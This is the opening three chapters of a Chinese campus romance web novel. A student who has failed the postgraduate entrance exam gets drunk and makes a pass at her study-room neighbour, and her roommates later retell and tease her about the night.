《她对恋爱过敏》
1. Allergy 01
《她对恋爱过敏》
文/罪打金枝玉叶
2025.04.10
电梯门合上,手机里通话声音在空荡轿厢里格外清晰。
“都说了让你考研的时候就把心思放在考研上面,哪有人考前一个月还跟人出去玩的。你看看你心思不在考试上面成绩怎么会好?”
“你也不要总是嫌我说得多,不说多一点你哪听得进。”
“这次就算了,反正我们对面那幢的邻居哥哥也是考了两次才考上的。多一年的时间你总能考好了吧?”
电梯显示屏中红色数字匀速攀升,好似悬于头顶定时炸弹,提心吊胆。也像妈妈的爱,夹杂着钝痛,让她觉得自己没能成为她的骄傲而内疚。
边月白垂着脑袋没什么情绪地踢了踢脚,轻轻应着,"嗯,知道了。”
她不是不知道妈妈说这话是为了自己好,但是她也很委屈啊。
从去年暑假留校复习开始,整整蒙头学了六个月。早上九点到图书馆自习室,晚上八点才回来,午休都是在自习室抱个靠垫趴桌上。
多余时间都在背书做题,法考和考研两座大山压在她身上,喘不过气来,连时间都是掰着用。
考前一个月出去玩也只不过是前期学太猛了,后劲跟不上。已经参加秋招提前实习的室友看她状态太差,拉着她抽了一个周末去临市爬山罢了。
算不上玩的。
可是该怎么跟妈妈说呢?
妈妈是个只看结果不看过程的人。
“要开会了,我先挂了。”
“好,你忙。”
电话挂断,额角突突地疼,胃里空落落但什么也不想吃。宿醉的影响好大,让她现在还缓不过来。
边月白垂下握着手机的手,电梯光洁的金属壁映出女孩儿清瘦高挑,一头黑长直被皮筋半扎在脑后,其余披散在肩头。
今年考完寒假回家,她妈见她小脸蜡黄吓了一大跳,满眼心疼但话里话外却在怪她,“这么大个人了还不知道好好照顾自己,等你工作了之后怎么办呀。”
被她妈这么一说,边月白跑到镜子前一看,还真的。连着两场考试下来,整个人散发着一种死人感。
说归说,春节一过,脸上的肉都被妈妈补了回来。
“叮”一声,电梯门开。
边月白提了提肩上的帆布包,抬步走出,穿过明亮走廊的同时打开手机,看了眼时间。
12:35
不出意外的话,这个时间段柯弋应该在食堂吃饭,不会出现在这。他的时间安排十年如一日,根本不会有意外。
哪怕是备考时,雷打不动的早九到晚五走,十一点吃中饭,一点回自习室。
边月白专门挑了这个点来,早点把这事儿办了早安心。
考研自习室位于图书馆四楼,如今国家线和院校线相继而出,搬走了一大片落榜生,原本人满为患到空气不流通的自习室竟有一种别样的落寞感。
她在站在门口,停顿片刻,透过玻璃门准确找到自己座位。视线一偏,落在后面那个位置,台面上也没有熟悉的黑色保温杯,她微微松了口气。
很好,他果然不在。
边月白不再迟疑,推门进去,径直走到自己座位前,打开帆布袋开始整理桌面。
桌面上有些杂乱,便签马克笔水笔散作一团,各类辅导书模拟卷高高一沓,椅子上还有她自己添置的屁垫和靠背。
幸亏当初考完就按斤卖掉不少资料课本,不然今天还真的拿不下这么多。
她时间不多,边月白加快了手上整理的速度。
不是她不想早点来,真的是昨晚喝太多。早上酒一醒,看见室友痛心疾首的表情,边月白心里狠狠咯噔一下,大概能猜测到昨晚大概是犯事儿了。
还不小那种。
室友花了十分钟帮她回忆昨晚究竟做了什么惊天地泣鬼神的事情。
听完后,边月白如同雷劈,怔忡地站立在洗手台前,牙膏从手里滑出掉在地上。
当即一看时间抓紧洗漱,急匆匆背上包,马不停蹄跑去自习室准备收拾收拾彻底从柯弋的世界人间消失。
两人在同一个自习室认识,背对背坐着相处了将近四个月。尤其是最后冲刺阶段,边月白每次抱着政治在图书馆天台背书总能遇见他,在枯燥的备考中催生了一种相互陪伴、携手共进的错觉。
因此算是半个考研搭子。
她要先下手为强,切断这唯一的见面方式。
背后走过两个女生,嘀嘀咕咕的在小声说话,却一字不漏地进了边月白的耳朵里。
“咦,柯弋也上岸了呀。”
一个女生很疑惑道,“他们专业这么好考的吗?我看他复习的好像也不是很认真呀。”
“诶,你别去翻人家东西。”朋友提醒她。
“没碰没碰,他自己把复试资料摊在上面的可不怪我。”女生小声反驳。
什么?他上岸了??
边月白瞳孔震颤,手一抖,一本书从手里逃出,“啪嗒”一声书脊砸在地上,书页顺势哗啦啦翻开,最后停在某一页上。
上面密密麻麻是自己的笔记,好多种颜色。而她复习有个习惯,每一轮复习都会换一种颜色。
一时间,边月白垂头看着这本法硕一本通,百感交集。
“没吧......”女生朋友刚想说话就被这一声响打断,看了眼地上,“说不定他每天那么早回去是偷偷卷呢?”
没等女生想去帮忙捡起,边月白先行蹲下拾起,敛着眼皮压下眼底情绪。
“不会吧,我们这一圈都是考得法硕,跟他都不是一个专业也没什么竞争压力啊。”
朋友耸肩,不由跟女生撒娇,“谁知道呢?啊不活了我正好踩着线进复试好危险啊。要是复试过不了,我就只能毕业回去继续当妈妈的小废物了。”
伴着嬉笑声,女生揽着她胳膊说:“不可以哦,过来陪我一起读研!”
交谈声渐行渐远,直至消失在自习室内。
边月白的心被酸水浸泡得透彻,双唇抿成一条直线,手里动作更快了。她现在只想早点离开,祈祷千万不要碰上柯弋。
几分钟之后,边月白背着帆布包里面满是资料和学习用品,还塞着折叠绑起的屁垫,手里抱着厚厚的书,手肘夹着靠垫。
掂了掂,确认桌面上没有留下东西后,准备离开。
扫了眼考研自习室,大家都很忙,都被困在小小的书桌前。可现在还在努力的,是已经触碰到成功线的人。
边月白还没来得及惆怅,门口倏得出现一道熟悉的身影,清隽而疏朗。
边月白:!
她仓皇失措抱着东西蹲下,借着桌椅挡住她身形。但是一蹲下来,她就开始后悔,自己此地无银三百两做什么?
逃避能解决问题吗?
况且......这件事主要过错方是她本人。
但除事情过后的心虚和尴尬,她内心还隐隐的,有那么点不甘。
边月白咬了咬唇,她自认为自己算不上有多聪明,但是足够努力。勤能补拙这个词在她前二十多年都是适用的。
不过这一次,似乎老天都非要打她的脸。
她和柯弋其实算不上有多熟,虽说坐得很近,但互不打扰。有时或许会在热水间遇上,他总是拿着他那个黑色磨砂杯子。
边月白怀疑里面泡着枸杞。
就因为这个杯子,也因为当时什么“前夫哥”这类的词特别流行。在给室友戚慧她前男友取代号的时候,顺带赠予柯弋一个。
柯弋那么无懈可击的面孔,那么好听的名字,就此痛失本名。
——室友戏称他为,保温杯哥。
碰到柯弋次数一多,边月白也不好装作不认识,一次硬着头皮打了声招呼,对方也只是淡淡点了点头。从此之后,两人就默认算作认识关系。
她知道自己不该有这样的想法。
柯弋跟她专业不同,他们不存在竞争关系。真正跟她有竞争关系的是身后这群同学,而据听说他只不过是一个系统出错,不小心被丢在在一群法学生中孤军奋战的英专生罢了。
他没做错什么,错得是自己。心心相惜是真的,无意识得拿对方当作假想敌、对照组也是真的。
人就是那么个
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复杂的生物。
一场考试见分晓,他轻松上岸,而她溺死下岸。
想着,边月白蹲在那,默默破防了。
门被推开,边月白心落下一拍,下意识看去。还好来人是同学院的熟人,急匆匆走进来,正巧路过边月白那排桌椅,看见她蹲在地上发呆。
陶守原本确实有事,但一想到方才吃饭听室友说昨晚边月白得知上岸无望跑去酒吧心碎买醉,还如狼似虎地把隔壁外语学院的院草摁在沙发上好一顿好啃。
想来下岸对她打击一定很大,他当下脚步一滞,小心翼翼地关心:“没事吧?”
此时门外。
柯弋回过头不知在跟谁说话,隔了一小会儿之后消失在门口,像是临时有事被人叫走。
边月白注意力全在柯弋那,见人走,长舒一口气。
“嗯?”边月白收回视线,这才有精力应付人。
对方又重复一遍。
“没事啊。”边月白装作毫不在意,撑了下膝盖起身,将手里东西重新提好。
天赐良机,不敢逗留。
路过这位好心同学的时候,边月白还拍了拍对方,恭喜道:“听说你留本校啊,还初试第一,恭喜恭喜。”
“哪有哪有,运气好罢了。”陶守挠挠后脑勺,面露腼腆。
他此刻的谦虚是真的,但边月白听着牙龈发酸也是真的。
同学间寒暄结束,边月白此刻心情算不上好,敷衍地道了句再见,就拎着自己大包小包快步离开自习室,一路不敢停穿过走廊。
细碎阳光从窗户投下,细微浮沉飘散在空中,照出光束形状。
边月白抬眸,脚步一顿,浅色瞳孔轻轻晃动。
走廊尽头,北侧电梯外,柯弋连帽衫袖管卷起,露出强劲有力的胳膊,单手插兜,偏着脑袋。额前碎发随着头偏遮住他那双狭长漂亮的眼睛,只余下高挺的鼻梁和微微牵起的唇。
边月白错开视线,步伐果决,不知道是不是宿醉后遗症,脑袋忽地一阵眩晕。
他身边着篮球的男生似乎有些眼熟,但室友说她一般她有这种莫名自信的感觉,都是错觉。
邵杜眼睛一眯,忙抬抬下巴示意柯弋去看,“诶,是她吧。”
柯弋回头的瞬间,视线只来得及抓住了一小片裙角。
但不难分辨,是她。
“你们怎么搞得,她昨晚都差点在公共场合下把你口口了。今天见了你溜这么快,这是......不认账了?”邵杜简直哪壶不开提哪壶,替他怅惘地叹了口气,随后拍拍他肩膀。
见他不吱声,邵杜点点他脖子上的旖旎红痕,笑他,“这这这,都是她搞的吧?”
柯弋皮肤本就白,边月白下嘴也没个分寸,全留在裸.露在外的皮肤上,衣领都盖不住。他也没打算掩饰,就这么大剌剌任人看。
昨晚一回寝室就糟到室友质问,他没说,等确认身份了再说也不迟。
邵杜是为数不多知道柯弋有喜欢女生的人。搞笑得是他还在背地花了不少心思去接近人家,结果一过四个月,进度是一点也没动。
邵杜尝试站在他的角度思考了一番,建议:“是不是你的陪伴太短了,你就应该在她备考的时候跟她一起奋斗到图书馆闭馆。”
柯弋不是没试过,每次这么做都会发现边月白跟他杠上了似的,非要走的比他晚,来的比他早。
后来才意识到是不是给她压力太大了,这才找了个合适的时间段。
这可遭到邵杜好一阵嘲笑,但嘲笑过后还隐隐担心自己这哥们是不是要一棵树上吊死过去。
目前来看,确实是这样,未来还是会这样。
柯弋沉默不语,垂着眉眼,紧抿双唇,手里那保温杯一抛一接,一派闲散随意的样子。
他指骨修长,指甲修剪得极其干净,连长久写字的茧子都没有,像是一件精雕玉琢的艺术品。
边月白昨晚一直牵着,时不时还会摩挲一下,看了又看,爱不释手。
应该挺满意吧。
半晌后,一抹清亮从他眼底闪过,嘴角缓缓扬起。
“至少,她喜欢我的身体。”
2. Allergy 02
刚刚那一眼边月白发现,柯弋的唇角似乎破了,细小的伤口已经开始结痂。不仅如此,他雪白的脖子上,还有衣领都遮不住的紫红色吻痕,即使痕迹很淡也足够触目惊心。
特别不想承认,这都是她干得。
这事说来话长,一切起因源于她刚悲催落幕的初次考研。
昨天下午院校线公布,边月白登上网站一看,再一看自己的分数,天都塌了。
——她进不了复试。
那一瞬间,她感受到了痛彻心扉是什么滋味。
当初出分的时候,按照往年国家线和院校线预估了一下,如果运气好末尾挤进复试也是有可能的。
今年分数真的涨疯了,她没进。
打开朋友圈,跟她一样哭诉抱怨的也不少,感觉有被安慰到。
一战,边月白就这么悲催下岸,也不敢跟家里人讲。
寝室四人,一个去年秋招找到工作,其余三个考研,除她之外两位这次都一把上岸了。
室友们人都很好,刚上大学那会儿碰上疫情。她病倒,饭是室友带的,医疗物资是室友排队领回来的,咽拭子采样是大家一起相互扶持走出寝室去做的。
如此革命友谊,感天动地。
边月白其实是个有时候内心会冒出恶毒点子的小女孩,但是她多次警告自己,对于她的室友好宝宝们,千万千万不能忘恩负义眼红人家。
不过室友上岸她落榜带来打击也不小,边月白心中苦闷无处发泄。
原定的庆祝夜,变成她酒吧深夜买醉夜。
已经开始实习的室友符瑾眼见她闷头喝酒越喝越闷,为了调节气氛,笑她:“当初你跟那个卷毛头暧昧好长一段时间掰了都没去深夜买醉。”
“不一样。”边月白抬起一根手指摇了摇,煞有介事道,“男人是男人,姐的学业是学业,万万不能混为一谈。”
话说得很有逻辑,也很边月白。
但是肉眼可见的,边月白小脸酡红,神色早已不清明,眼皮懒懒地耷拉着。但那一双黑曜石般的眼珠子亮得晃人心,尤其是在酒吧旖旎的霓虹灯照耀下。
异常生动,熠熠生辉。
她们四个女生出门,自然不是去那种乱七八糟乌烟瘴气的酒吧,而是市中心有点小资格调的静吧。跟朋友点点小酒谈天说地的好地方,也可以玩玩牌、色子那些玩意儿,偶尔跟人拼个桌一起玩也不错。
没有跟人拼桌,今天纯是来安慰边月白,只求看着她别出事。
只见边月白几瓶啤酒下肚就上脸,酒量不好的小趴菜喝得又急,这下直接上了头。
她站起身的时候身形还晃了晃,毛霏霏看她这副样子,拦着她讲道理,“好了好了,咱不喝了好吗?今天喝不少了。”
说着要去夺她手里的酒瓶。
边月白晃晃悠悠推开她手,慢吞吞地说:“小看我了吧霏霏。”
“我还能喝!”边月白拇指朝自己一翘,小嘴一噘,嘟囔着,“你看啊,这一箱都是小case啦。”
说着又从脚下提出一瓶,往桌面上一敲,那气势上来还挺唬人。
边月白利落地拿起开瓶器,“啵”一声,啤酒泡沫漫出,溢得手心虎口都是。她迷迷糊糊的凑过去抿掉。
彼时门开。
三月倒春寒,依旧寒冷。
室内中央空调控温,温度适宜。进门后,她们四个就把外套脱了,只余下里面的打底衫。
她们卡座里门口挺近,一阵穿堂风撩起边月白衣服下摆。边月白露出的那一小截腰肢,皮肤触碰到寒冷空气的瞬间,睫羽微微打颤。
边月白撩起眼皮,露出酒醉后湿漉漉的眸子,视线投向门口。
而此时,站在门口侧头同人漫不经心讲话的柯弋似有所感,提了下眉,视线穿过隔着的人群锁定边月白。
两人视线就这么措不及防在空中交汇,一瞬即离。
边月白呼吸都放轻,唇边润湿,无意识舔了舔唇角。今晚明明喝了好多酒,看到他的瞬间感到莫名的口干舌燥。
她此刻思维有些迟钝,想不明白为什么。
不过很快,边月白脑子思绪跑偏。
柯弋今天换了身风格衣服简直改头换面。边月白知道他长相应当算是优质,今天的他一改平日里那种矜贵温和的气质,反而带了点攻击性,看上去不太好接近。
他侧过头在跟朋友说话,边月白感觉自己喝了点小酒就开始自我膨胀。
因为她此刻觉得,柯弋似有若无地好像在看自己。
想到这,边月白放任自己的视线落在他身上,看看能不能够验证自己的想法。
很可惜,真的是她多想。
他再没朝这个方向看过来,只是微微翘了下唇角,慢条斯理地脱下身上黑白相间地赛车服夹克,露出外套之下挺翘的臀和一双腿修长有力。
往上是宽大的黑色衬衫,外面穿得那么张扬,衬衫扣子却一丝不苟地扣到最顶端。
边月白眯着眼睛,喉间滑动,吞了口唾沫。
耳边响起毛霏霏疑惑的咕哝声,“诶?这个帅哥有点眼熟啊?”
边月白只感觉衣服下摆似乎被人扯了扯,毛霏霏小声提醒她:“白白,我知道他很好看。但是你视线太明显啦!会给人造成困扰的!”
“嗯?”边月白反应慢半拍,侧头去看室友她们,“是吗?”
但无人回应。
只有毛霏霏和戚慧还清醒着,一个在劝她,一个皱着眉头在回前夫哥的骚扰消息。还有个比她还垃圾的一杯倒符瑾,此刻趴在桌面上数星星,时不时傻笑两声。
边月白脑子里只在想,她们好像不知道这就是她们口中一直念叨的保温杯哥诶。
保温杯哥一看就是乖乖好学生,好学生私底下也来泡吧的吗?
记忆里每次见到的柯弋穿得很蓬松柔软又休闲,礼貌又温和,看上去就是那种让人很舒服的男孩儿。从来不会穿机车服,根本不敢想这种张扬到不行风格的衣服穿在他身上是怎样。
嘶,不过今天见了,有点好看呢。
不过仔细想想也是。
谁好人家穿机车服去自习室的,那边月白铁定会带有偏见认为这种人不学无术装样子假学习,还白白占掉一个考研自习室座位。
毕竟这玩意儿可紧俏,当初没申请上还是学院里的老师看在她帮党支部办事份儿上给她搞了一个。
边月白用着仅剩的理智思考,摇了摇头。
不对,我也是好学生来着。
难不成他学习放松方式是泡吧吗?
这方式管用吗?
想着,边月白小口小口喝着手里的啤酒,一瞬不瞬盯着柯弋。或许是目光太过炙热,终于等到柯弋视线再次过来,边月白伸出手挥了挥,脸上漾起灿烂的笑容。
在这看见他很高兴似的。
柯弋先是一愣,偏头勾了下唇。
两人之间人影攒动,光影遭到遮挡闪烁不定,像是画面被抽帧般。她看见他抬步走来,姿态卓然,笑意疏朗。
有被美色晃到眼,边月白愣了一瞬,转回身单膝压在卡坐沙发上,抬手又干了口酒。
两人再无过多交集,柯弋款款跟在服务员身后路过,没有停留。看起来两人还没熟到拼桌聊天的地步,径直去了她们后侧的卡座落座。
毛霏霏面露惊讶:“你认识?”
“认识谁?”戚慧回完消息抬头,顺着她们视线方向望去,讶异道,“这不是外院的柯弋吗?”
毛霏霏:“诶?你认识?”
戚慧:“当然,外院院草来着。”
毛霏霏这回一拉边月白,就把人拉回了卡座,压着声音好奇:“看你们还打招呼,你认识这么号人物呀?”
边月白也不知道哪根筋搭住,眼睛一弯,直接转过身指着柯弋跟她们介绍,“院草不认识,但你们保温杯哥在那。”
声音不大不小刚好两桌人都能听清。
“抱歉抱歉,她喝多了。”毛霏霏眼皮一跳,忙不迭把边月白拉回来,向身后一群男生敬了个礼,“乱讲的,不当数的。”
被人指着柯弋也没生气,只是翻动菜单的手指一顿,撩起眼皮好整以暇地看她,像是在等一个答案。
但是对面的女孩儿早已喝醉,远没有平时那么心思活跃。此时看他的眼神也飘忽不定,有一瞟每一瞟在偷看他。
被朋友埋怨了两句话就开始瘪嘴,在那跟人犟着,委委屈屈的。
他身侧的朋友用手肘杵了杵,给他使了个眼神,也不知道说了什么得了柯弋一个警告意味的眼神。
-
“所以这就是传闻中的保温杯哥?”
不管怎么想,毛霏霏还是觉得不可思议。
“Bingo!”边月白打了个响指。
“死丫头真是好福气啊,考研的时候一抬头就能看这么帅的脸养眼。”毛霏霏啧啧了两下。
戚慧不动声
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色递过去一个眼神,一把揽住边月白的肩膀拍了拍,“来,还喝不喝。今晚我陪你喝到底。”
“喝!”躺尸许久的符瑾突然诈尸。
给戚慧吓好大一跳:“我去,你还醒着啊?”
“喝!”
边月白受到鼓舞,举起酒杯,满脸的兴奋雀跃,披散的头发凌乱得有点像个小疯子。
-
戚慧这个骗子,说好今天不醉不归的,喝到一半被前夫哥追来哄走了。留下两个醉鬼和一个毛霏霏。
走之前,戚慧不放心还问了句毛霏霏:“你能行吧?我让他再等会儿,我们俩先把她们送回去。”
两个醉鬼一个倒在沙发上呼呼大睡;另一个一脸兴奋样,睁着水汪汪的大眼睛,乖巧地把手放在膝盖上,迫不及待在告诉她们——“我超乖的”。
醒着的醉鬼摇头晃脑,不以为然地说:“没事的慧慧,你走吧。我清醒着呢!”
乍一看,还挺正常。
毛霏霏摸着下巴,眼神在两个人身上来回梭巡,随后拍着胸脯打包票说:“可以!”
事实证明,毛霏霏还是托大了。
不得不说边月白这人太有欺骗性,等戚慧一走她就开始显露原形。
没有戚慧拼酒,三人又多呆了半小时就觉得无聊,毛霏霏提议玩色子。没玩一会儿,边月白就开始嚷嚷着脑袋疼,符瑾醒过来说想要上厕所。
毛霏霏听了一个头两个大,拉住符瑾问:“你能自己上厕所对吧?不会让我叫人去厕所捞你的对吧?”
她te?di咬重了“捞”这个字。
符瑾点头。
毛霏霏放她去了。
余下边月白,毛霏霏将她扶正,捧着她脸对视问:“我去给你要热水,你能一个人待在这等我回来对吧?”
“霏霏~我想吃车仔面~”边月白撒娇。
行,还知道吃,没醉到不省人事。
这时两人面前落下一片阴影,一个男声从身侧响起,干净清润,分外好听。
“需要吗?我可以帮你照看一会儿。”
毛霏霏抬起头一愣,“保温...啊不,柯同学。”
她又低头看了眼迷迷瞪瞪朝着她痴笑的边月白,眼尾泛红,眼里蒙了层雾。哪怕毛霏霏是个女生,看着这么一张脸,内心也难免产生波澜。
毛霏霏迟疑片刻,又觉得就这几分钟,这里这么多监控这么多人,柯弋也是个体面人。这家老板还是他哥朋友,安保也信得过。
逐个危险因素被她排除了一遍,可她就没考虑到边月白醉酒后会性格大变。
最后点头答应,毛霏霏嘱咐他:“那麻烦你帮忙看她一下,她应该挺乖的。要说了什么乱七八糟的话你别当真,顺着她话讲就行了。”
“好。”
毛霏霏走出去两步还回了次头,就看见这么一幕。
柯弋代替她坐在边月白身边,只是垂头玩手机,冷白的光照着他眉眼冷厉。他坐在外侧,而边月白坐在里面靠墙,俩人隔了好远。
有路过人投去探究视线,柯弋侧头扫去,用眼神冷冷地警告人。
毛霏霏在内心默默肯定保温杯哥。
嗯,是个很正直很有分寸感的男生。
随后放心的去吧台点单了。
事后毛霏霏也反思了下自己,明明可以自己看着人,麻烦柯弋去前台要热水和车仔面的。
她就不该留柯弋这么一个手无缚鸡之力的漂亮男孩子面对边月白。
都怪自己想少了。
-
等毛霏霏一手端着热水,一手端着车仔面转身回去的时候。
映入眼帘就是这么一副超级无敌劲爆画面。
只见边月白这个狂徒压在柯弋身上,头埋在对方颈侧蹭着,唇还贴着他细腻白皙的颈部皮肤,留下一路暧昧痕迹。
而柯弋本人无力反抗只能侧着脑袋任由摆弄,整个人陷在沙发里,难为他还能伸出一只手虚虚护着边月白,不让她掉下来。
最!炸!裂!的!是!
边月白一双手伸进了柯弋衣服下摆,在衣服鼓动中还能依稀分辨出她做了哪些手部动作。柯弋衣服下摆随着她动作掀起,露出一截精瘦腰腹。
随之显露的还有柯弋底下裤腰和打着结的系带。
只见边月白撑着对方的腹部缓缓支起身,姿势变成跨坐。
她危险暗淡的视线一路往下,直到落在系带上,倏忽亮了起来。
3. Allergy 03
只见边月白唇瓣轻动两下,也不知道说了什么。
柯弋眼皮颤了下,掀开,露出漆黑无辜还有点期待的眼神。
毛霏霏站在一旁猛地摇头,心道不要。
又想着保护两人隐私,四下一看,还好光线昏暗加之已经是后半场人少,故而没什么人注意到他们这堪比限制级的画面。
随后毛霏霏步伐凌乱地走去,没等她赶到,边月白忽地兽性大发。
一把抓住柯弋裤腰的抽绳,一抽。
不敢想她下一步是不是就要直接扒人裤子,然后当场就要口口。
毛霏霏见状手一抖,碗杯差点脱手而出。脑子里某根弦直接崩掉,弹在脑瓜子上生疼,抑制不住发出尖锐爆鸣。
她眼疾手快地冲了出去一把抱住边月白,使了点巧劲儿把人拖下来,这才阻止了这场闹剧。
提着裤子从厕所出来的符瑾恰好撞见,嘿嘿一笑,吹了个响亮的口哨,赞赏道:“真棒!”
边月白双手被毛霏霏钳制在身侧,也不知道她哪来这么大力气。她垂头去看那双手尝试挣脱两下,不太行。
一抬头,毛霏霏正用一脸“天塌了”的绝望表情看着她。
“霏霏?”边月白歪了下脑袋,笑得天真又单纯。
趁毛霏霏还在风中凌乱,凑过去,吧唧一口。
女孩儿软乎乎的脸蛋一下熟透,毛霏霏捂着脸一脸不敢置信,压着声音低吼:“你个女流氓!!!”
全然不知,身后的男人,气压忽然低的可怕。
当然这些都是在室友拼拼凑凑出来的版本,边月白早在戚慧离开的时候就已经开始断片,后面发生的事只能记起零星片段。
但哪怕是记得个开头,边月白都惭愧不已,无颜面对柯弋。
边月白道歉,边月白反思,边月白忏悔。
但说实话,这件事真要分析起来,她的问题占一半,另一半要怪符瑾。
当初考研压力太大晚上焦虑到睡不着,符瑾说她有一计能保证边月白药到病除,于是大半夜拉着她偷摸一起看某些带颜色的小文章。
边月白半信半疑跟着她看了几章,再次尝试入睡。
症状没有减轻,边月白感觉自己更焦虑了。
就因为这些脸红心跳的小文章,边月白那段时间几乎每晚一闭上眼,入梦之后都是一些难以描述且可以达到限制级画面。
而梦中另一个主人公,好巧不巧,自动代入了柯弋。
压力大了看点睡前读物,OK。
但做梦代入真人,不OK。
那场面堪称惊悚!!
她内心居然是这样的人吗?!
早上一醒,边月白直起身来,坐在床上花费了宝贵的5分钟来思考人生。
结论是一定是太久没谈恋爱了,居然对自己的考研搭子产生非分之想。
不过边月白也不是完全没有感情经历,虽然她的前二十年热情都贡献给学业了,唯独大二那年还是有过一段短暂暧昧期的。
只不过暧昧期这种东西,时间一长就会暴露问题。对方觉得边月白不在意他,经常不回消息,还连手都不让牵,没意思。
前者只是因为课比较多,边月白上课很少玩手机,这才出了这档子事儿。后者...这不是还没在一起嘛,她也很不理解那么急干什么。
不过经此一事,边月白迅速下头,这段不能被称之为初恋的懵懂爱恋被扼杀在摇篮,最后不了了之。
对,除此之外还有个原因,柯弋长得确实小有姿色。
边月白想,大概是有了这前提,昨晚喝多了放飞自己的时候,难免出格了一些。
要说柯弋这人还是太绅士,她都这么胆大妄为了,居然脾气那么好,就这么逆来顺受了?不然按照他这个体格和力气直接给她掀飞不就完事儿了?
哪还有后面这么多事儿?
也不能全怪她,对吧?
边月白疏解完内心,也正好抵达寝室门口。推开门,里面热闹氛围倏时暂停,随后一双手伸出来,不由分说将她一把扯进寝室。
“什么样?”
“怎么这个表情?”
“不会是碰到保温杯哥了吧?”
三个人一人接着一句,全都睁大了圆溜溜的眼睛,催促她快开口讲后续。
边月白此刻脑子里只在想。
还好,她的室友们没对她昨晚几近强抢民男的行为做出道德行为的评判与指责。
不然一人一口唾沫能把她原地淹死,而她连死不瞑目都不敢说,因为她是死得其所的风流鬼。
边月白揉揉发疼的额角,艰涩开口:“碰见了,但是他没看见我。”
又说,“对了慧慧,我东西都拿回来了。今天之后你就可以搬过去了。”
戚慧从包里摸出一把钥匙递给她,“好,这是我自习室的钥匙,晚上要是最晚走记得锁门就好。”
“好,谢谢你啦。”边月白做了个亲亲的动作。
得知边月白再也不去自习室之后,戚慧给她想了个注意,主动提议跟她换自习室。考虑到就算边月白不复试可能也要准备春招或是继续备考,这样似乎是最好的解决方法。
边月白没异议,接受了室友的好意。
A大宿舍,四人一间,上床下桌,独立卫浴。
此刻四把椅子已经放在寝室中央,室友三人纷纷露出吃瓜样。毛霏霏邪魅一笑,招了招手,“来呀边月白,准备好坦白从宽吧!”
“......”
边月白如同羊入虎口,乖乖坐定,眨了眨双眼,随后没有骨气的双手合十求饶:“姐姐们手下留情。我一定知无不言,只要不要再提昨晚的事情鞭尸我就好。”
毛霏霏眼睛一眯,指着自己的脸颊,“你还敢提昨晚的事。”
边月白心虚了一小下,缩了缩脖子。
随后面前三人互相递了个眼神。
“我先来,我有问题。”符瑾咳了声,主动举手,“保温杯哥本名叫柯弋?”
这人昨晚酒一喝就不省人事,连这件事都还是听毛霏霏转述的。
“为什么这么问?我没说过吗?”边月白不解。
面前三人点头:你还真没说过。
“我去。”符瑾倒吸一口凉气,不敢置信道,“你口中那个香香软软小蛋糕是柯弋?”
“!?”边月白惊愕跳起来捂她嘴,“你别乱说!我什么时候这么形容过他?”
其余两人闻言向边月白投去难言的视线,加上昨晚的举动很难不脑部是边月白暗恋人家已久,昨晚借酒行越轨之事。
边月白一转头就能看见,那一刻简直有口难言。
“不是你说保温杯哥闻起来香香的吗?”符瑾也奇怪她怎么当场变卦了,这是害羞了?
边月白两眼一黑,绝望地闭上眼,“我是这么说过,但是!”
“我没有那个意思啊!”
“就是你能懂吗?大冬天自习室里有人怕冷就不让开窗通风,坐在里面时间一长就会有各种难以言喻的味道。”
“而且!我要点名批评我边上那哥,大冬天估计都不洗澡的。坐在他边上感觉我都要被腌入味了。”
此时,就在边月白激昂愤慨的时候,她头一偏对上正在瞳孔地震的戚慧,出声安抚她:“你放心那个哥去年没熬过去,弃考了。”
“现在我的位置,边上两侧都没有人。”
戚慧泄了口气,“好。”
“你还没说完呢。”毛霏霏点点她手臂。
“哦对,我只是随口说了句而已。他就是......每天都会换衣服,然后每次路过他的时候就能闻到那种,香香的味道,而且不浓烈也不会打扰到人。这在那种环境下,实在太难得了,你能懂吗?”
就好像那种衣物洗涤之后淡淡的沁香,让人闻着就感觉对方是个很爱生活且生活质量很高的男孩子。
这让那段时间每天挤着时间学习,一回去就想倒头就睡,但强迫自己洗澡护肤洗衣服的边月白,非常的羡慕。
符瑾点点头,“懂了,那你昨天爬人身上欲行不轨之事也是因为...咱保温杯哥太香喷喷了?”
这说法也太奇怪,边月白脸瞬间红了,吞吞吐吐:“那是个意外。”
“不过话说回来,怎么就这么不敢信呢,你口中那个温柔体贴的保温杯哥是外院院草。”符瑾稍加沉思,又道,“我听说的柯弋可不这样啊。”
毛霏霏“咦”了一声,问:“你是怎么看出温柔体贴的?”
符瑾抬抬下巴,“她去年冬天用的暖宝宝都是保温杯哥送的。”
“这倒是有点夸张了。”边月白解释,“就是之前我来姨妈痛经,然后他看我不舒服,下午吃完饭回来的时候带了几片暖宝宝罢了。”
符瑾从她脚下的帆布包里抽出一本书,抖了下,里面劈里啪啦掉出好几个暖宝宝。她眉梢一扬,语气揶揄。
“噢?几片?”
边月白:“......”
她早忘了,怎么跟符瑾提
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了句她记得这么牢。
“等一下,我们又聊偏了,我有个疑问。”戚慧举手打断。
符瑾抬手,“请,戚老师。”
“那你听到的保温杯哥是什么样的?”戚慧问完,还小声嘟囔了句,“还是觉得这名字念起来有点拗口,没前夫哥顺口啊。”
废话那是你前...不对现在该叫现任哥了。
说到这符瑾来劲了,坐直身体,清了清嗓子才说:“这么说吧,外院柯弋那脸蛋那身材可是出了名的优越。咳,这都是我发小说的,你们也知道我发小也是外院的。他的颜值无可争议,但是他本人——”
“也很有毒!”
边月白歪了下头,不明白她语气里隐隐的遗憾是为什么。
“就咱大一的时候,军训完第一次开讲座报不上名那次记得吧?”
“记得。”
三人点头附和。
那次讲座也太影响深刻了,一听说能加综测,当时正值刚开学大家都对这种加分项格外积极。导员那讲座消息一发即报名截止。
等她们寝室四人看到消息的时候早就结束了。
愣是没赶上那盛况,听说到场的一人发了一张奶茶券。
想想又是羡慕别人的一天。
“就那次,有个环境学院的姐妹,长得还挺漂亮那种,在军训的时候一舞成名。这姐妹看上了柯弋,你懂吧军训结束还唇红齿白的那种帅哥,往当时黑不溜秋一群男生里一坐就跟个明珠一样。”
“而且当时不是有那么句口号‘犹豫就会败北’吗?这姐妹直接勇了上去,跟人要微信去篮球场蹲人还不算数。还跑去讲座偶遇,看柯弋边上没人坐,屁股都没沾上就被柯弋一句话堵得脸都绿了。”
毛霏霏好奇心被勾起来,“说了啥?”
符瑾跟说书的老大爷似的,故意留了个悬念顿了顿,一扫三人抓痒挠腮的表情,满意点了点头还有模有样地说。
“他说——迂回战术对我没用。”
“那姐妹问他那打直球怎么样,他直接说‘不想被当面拒绝的话最好不要’。最搞笑是给那个姐妹惹毛了,然后她咬死不承认喜欢他,就要坐那。”
